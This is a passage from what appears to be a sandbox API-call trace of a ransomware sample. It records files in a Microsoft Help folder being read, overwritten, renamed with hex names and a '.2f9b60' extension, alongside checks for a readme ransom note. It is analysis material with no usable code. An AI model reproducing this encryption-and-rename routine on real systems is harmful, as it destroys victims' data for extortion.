(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0087.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c2130 [0087.279] sprintf (in: _Dest=0x1b7c2130, _Format="%c%c" | out: _Dest="cc") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2132, _Format="%c%c" | out: _Dest="b7") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2134, _Format="%c%c" | out: _Dest="a3") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2136, _Format="%c%c" | out: _Dest="23") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2138, _Format="%c%c" | out: _Dest="38") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c213a, _Format="%c%c" | out: _Dest="83") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c213c, _Format="%c%c" | out: _Dest="0b") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c213e, _Format="%c%c" | out: _Dest="da") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2140, _Format="%c%c" | out: _Dest="72") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2142, _Format="%c%c" | out: _Dest="b9") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2144, _Format="%c%c" | out: _Dest="66") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2146, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2148, _Format="%c%c" | out: _Dest="43") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c214a, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c214c, _Format="%c%c" | out: _Dest="98") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c214e, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.279] sprintf (in: _Dest=0x1b7c2150, _Format="%c%c" | out: _Dest="75") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2152, _Format="%c%c" | out: _Dest="ff") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2154, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2156, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2158, _Format="%c%c" | out: _Dest="46") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c215a, _Format="%c%c" | out: _Dest="3f") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c215c, _Format="%c%c" | out: _Dest="0b") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c215e, _Format="%c%c" | out: _Dest="9a") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2160, _Format="%c%c" | out: _Dest="df") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2162, _Format="%c%c" | out: _Dest="64") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2164, _Format="%c%c" | out: _Dest="89") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2166, _Format="%c%c" | out: _Dest="45") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2168, _Format="%c%c" | out: _Dest="c1") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c216a, _Format="%c%c" | out: _Dest="85") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c216c, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c216e, _Format="%c%c" | out: _Dest="df") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2170, _Format="%c%c" | out: _Dest="31") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2172, _Format="%c%c" | out: _Dest="93") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2174, _Format="%c%c" | out: _Dest="ab") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2176, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2178, _Format="%c%c" | out: _Dest="37") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c217a, _Format="%c%c" | out: _Dest="54") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c217c, _Format="%c%c" | out: _Dest="80") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c217e, _Format="%c%c" | out: _Dest="f6") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2180, _Format="%c%c" | out: _Dest="82") returned 2 [0087.280] sprintf (in: _Dest=0x1b7c2182, _Format="%c%c" | out: _Dest="35") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c2184, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c2186, _Format="%c%c" | out: _Dest="b5") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c2188, _Format="%c%c" | out: _Dest="2d") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c218a, _Format="%c%c" | out: _Dest="ff") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c218c, _Format="%c%c" | out: _Dest="56") returned 2 [0087.281] sprintf (in: _Dest=0x1b7c218e, _Format="%c%c" | out: _Dest="ca") returned 2 [0087.281] RtlInitAnsiString (in: DestinationString=0x20d0fa48, SourceString="ccb7a32338830bda72b9669b436e988e75ffc0b2463f0b9adf648945c185c2df3193abb2375480f68235cbb52dff56ca" | out: DestinationString="ccb7a32338830bda72b9669b436e988e75ffc0b2463f0b9adf648945c185c2df3193abb2375480f68235cbb52dff56ca") [0087.281] RtlAnsiStringToUnicodeString (in: DestinationString=0x20d0fa18, SourceString="ccb7a32338830bda72b9669b436e988e75ffc0b2463f0b9adf648945c185c2df3193abb2375480f68235cbb52dff56ca", AllocateDestinationString=1 | out: DestinationString="ccb7a32338830bda72b9669b436e988e75ffc0b2463f0b9adf648945c185c2df3193abb2375480f68235cbb52dff56ca") returned 0x0 [0087.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0087.281] wcscat (in: _Dest=0x1b85c840, _Source="ccb7a32338830bda72b9669b" | out: _Dest="C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b") returned="C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b" [0087.281] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60" [0087.281] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60", NtPathName=0x20d0f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\ccb7a32338830bda72b9669b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5a70 [0087.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.284] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x20d0fa58, FileInformation=0x20d0fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20d0fa58, FileInformation=0x20d0fa68) returned 0x0 [0087.284] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x20d0fa58, FileInformation=0x20d0fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0087.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0087.285] FlushFileBuffers (hFile=0x96c) returned 1 [0087.286] CloseHandle (hObject=0x96c) returned 1 [0087.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.287] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.287] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.287] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 Thread: id = 221 os_tid = 0xca4 [0087.294] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn")) returned 0x2022 [0087.294] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.295] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.295] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x20d9f720 | out: lpFileSize=0x20d9f720*=392) returned 1 [0087.295] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.295] ReadFile (in: hFile=0x96c, lpBuffer=0x20d9f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20d9f6e8, lpOverlapped=0x0 | out: lpBuffer=0x20d9f6a0*, lpNumberOfBytesRead=0x20d9f6e8*=0x4, lpOverlapped=0x0) returned 1 [0087.297] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0087.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.297] NtQuerySystemTime (in: CurrentTime=0x20d9f5e0 | out: CurrentTime=0x20d9f5e0*=132462176931706000) returned 0x0 [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x6eadc0a9 [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0xd4448c [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x780297d5 [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x70d0e71f [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x65538c8c [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x60201ddd [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x37c873d2 [0087.297] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x29404ca1 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x7c14c37f [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x2654c04f [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x1044543d [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x3b03b470 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x897cd83 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x6448e104 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x3f2dfcec [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x4c94c3de [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x4ecb648 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x4d706415 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x6c3cce09 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0xe18f63f [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x71a4468a [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x6db08129 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x28a5d0a3 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x3e32d44b [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x4bbf9696 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0xd090bf7 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x8bc935d [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x65d04c50 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x9ea2ae3 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x5f4d118c [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x7adcc02 [0087.298] RtlRandomEx (in: Seed=0x20d9f5d0 | out: Seed=0x20d9f5d0) returned 0x114fbf86 [0087.306] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x188, lpNumberOfBytesRead=0x20d9f5d0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20d9f5d0*=0x188, lpOverlapped=0x0) returned 1 [0087.306] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.306] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x20d9f5d4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20d9f5d4*=0x188, lpOverlapped=0x0) returned 1 [0087.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0087.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0087.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858730 [0087.308] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.308] WriteFile (in: hFile=0x96c, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x20d9f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x20d9f6f0*=0x130, lpOverlapped=0x0) returned 1 [0087.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0087.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0087.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0087.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97300 [0087.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7d) returned 0x1b85c840 [0087.331] sprintf (in: _Dest=0x1b85c840, _Format="%c%c" | out: _Dest="e7") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c842, _Format="%c%c" | out: _Dest="31") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c844, _Format="%c%c" | out: _Dest="99") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c846, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c848, _Format="%c%c" | out: _Dest="de") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c84a, _Format="%c%c" | out: _Dest="52") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c84c, _Format="%c%c" | out: _Dest="30") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c84e, _Format="%c%c" | out: _Dest="75") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c850, _Format="%c%c" | out: _Dest="ba") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c852, _Format="%c%c" | out: _Dest="58") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c854, _Format="%c%c" | out: _Dest="9e") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c856, _Format="%c%c" | out: _Dest="7d") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c858, _Format="%c%c" | out: _Dest="d8") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c85a, _Format="%c%c" | out: _Dest="fa") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c85c, _Format="%c%c" | out: _Dest="20") returned 2 [0087.331] sprintf (in: _Dest=0x1b85c85e, _Format="%c%c" | out: _Dest="1e") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c860, _Format="%c%c" | out: _Dest="73") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c862, _Format="%c%c" | out: _Dest="be") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c864, _Format="%c%c" | out: _Dest="9c") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c866, _Format="%c%c" | out: _Dest="eb") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c868, _Format="%c%c" | out: _Dest="a1") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c86a, _Format="%c%c" | out: _Dest="68") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c86c, _Format="%c%c" | out: _Dest="c4") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c86e, _Format="%c%c" | out: _Dest="0c") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c870, _Format="%c%c" | out: _Dest="10") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c872, _Format="%c%c" | out: _Dest="59") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c874, _Format="%c%c" | out: _Dest="76") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c876, _Format="%c%c" | out: _Dest="7d") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c878, _Format="%c%c" | out: _Dest="a8") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c87a, _Format="%c%c" | out: _Dest="63") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c87c, _Format="%c%c" | out: _Dest="6d") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c87e, _Format="%c%c" | out: _Dest="5f") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c880, _Format="%c%c" | out: _Dest="1a") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c882, _Format="%c%c" | out: _Dest="58") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c884, _Format="%c%c" | out: _Dest="d3") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c886, _Format="%c%c" | out: _Dest="aa") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c888, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c88a, _Format="%c%c" | out: _Dest="a4") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c88c, _Format="%c%c" | out: _Dest="e0") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c88e, _Format="%c%c" | out: _Dest="ee") returned 2 [0087.332] sprintf (in: _Dest=0x1b85c890, _Format="%c%c" | out: _Dest="de") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c892, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c894, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c896, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c898, _Format="%c%c" | out: _Dest="ec") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c89a, _Format="%c%c" | out: _Dest="ad") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c89c, _Format="%c%c" | out: _Dest="b1") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c89e, _Format="%c%c" | out: _Dest="12") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8a0, _Format="%c%c" | out: _Dest="2a") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8a2, _Format="%c%c" | out: _Dest="f1") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8a4, _Format="%c%c" | out: _Dest="21") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8a6, _Format="%c%c" | out: _Dest="9c") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8a8, _Format="%c%c" | out: _Dest="4a") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8aa, _Format="%c%c" | out: _Dest="00") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8ac, _Format="%c%c" | out: _Dest="03") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8ae, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8b0, _Format="%c%c" | out: _Dest="31") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8b2, _Format="%c%c" | out: _Dest="8a") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8b4, _Format="%c%c" | out: _Dest="4c") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8b6, _Format="%c%c" | out: _Dest="8a") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8b8, _Format="%c%c" | out: _Dest="76") returned 2 [0087.333] sprintf (in: _Dest=0x1b85c8ba, _Format="%c%c" | out: _Dest="1e") returned 2 [0087.333] RtlInitAnsiString (in: DestinationString=0x20d9f768, SourceString="e73199d5de523075ba589e7dd8fa201e73be9ceba168c40c1059767da8636d5f1a58d3aac7a4e0eeded55b6eecadb1122af1219c4a0003d5318a4c8a761e" | out: DestinationString="e73199d5de523075ba589e7dd8fa201e73be9ceba168c40c1059767da8636d5f1a58d3aac7a4e0eeded55b6eecadb1122af1219c4a0003d5318a4c8a761e") [0087.333] RtlAnsiStringToUnicodeString (in: DestinationString=0x20d9f738, SourceString="e73199d5de523075ba589e7dd8fa201e73be9ceba168c40c1059767da8636d5f1a58d3aac7a4e0eeded55b6eecadb1122af1219c4a0003d5318a4c8a761e", AllocateDestinationString=1 | out: DestinationString="e73199d5de523075ba589e7dd8fa201e73be9ceba168c40c1059767da8636d5f1a58d3aac7a4e0eeded55b6eecadb1122af1219c4a0003d5318a4c8a761e") returned 0x0 [0087.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x1695e0 [0087.334] wcscat (in: _Dest=0x1b7ad840, _Source="e73199d5de523075ba589e7dd8fa201" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201") returned="C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201" [0087.334] wcscat (in: _Dest=0x1b7ad840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60" [0087.334] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60", NtPathName=0x20d9f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\e73199d5de523075ba589e7dd8fa201.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b7a5a70 [0087.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.336] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x20d9f778, FileInformation=0x20d9f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20d9f778, FileInformation=0x20d9f788) returned 0x0 [0087.336] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x20d9f778, FileInformation=0x20d9f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0087.337] FlushFileBuffers (hFile=0x96c) returned 1 [0087.339] CloseHandle (hObject=0x96c) returned 1 [0087.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.339] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.339] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.339] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 Thread: id = 222 os_tid = 0xca8 [0087.317] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn")) returned 0x2022 [0087.319] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 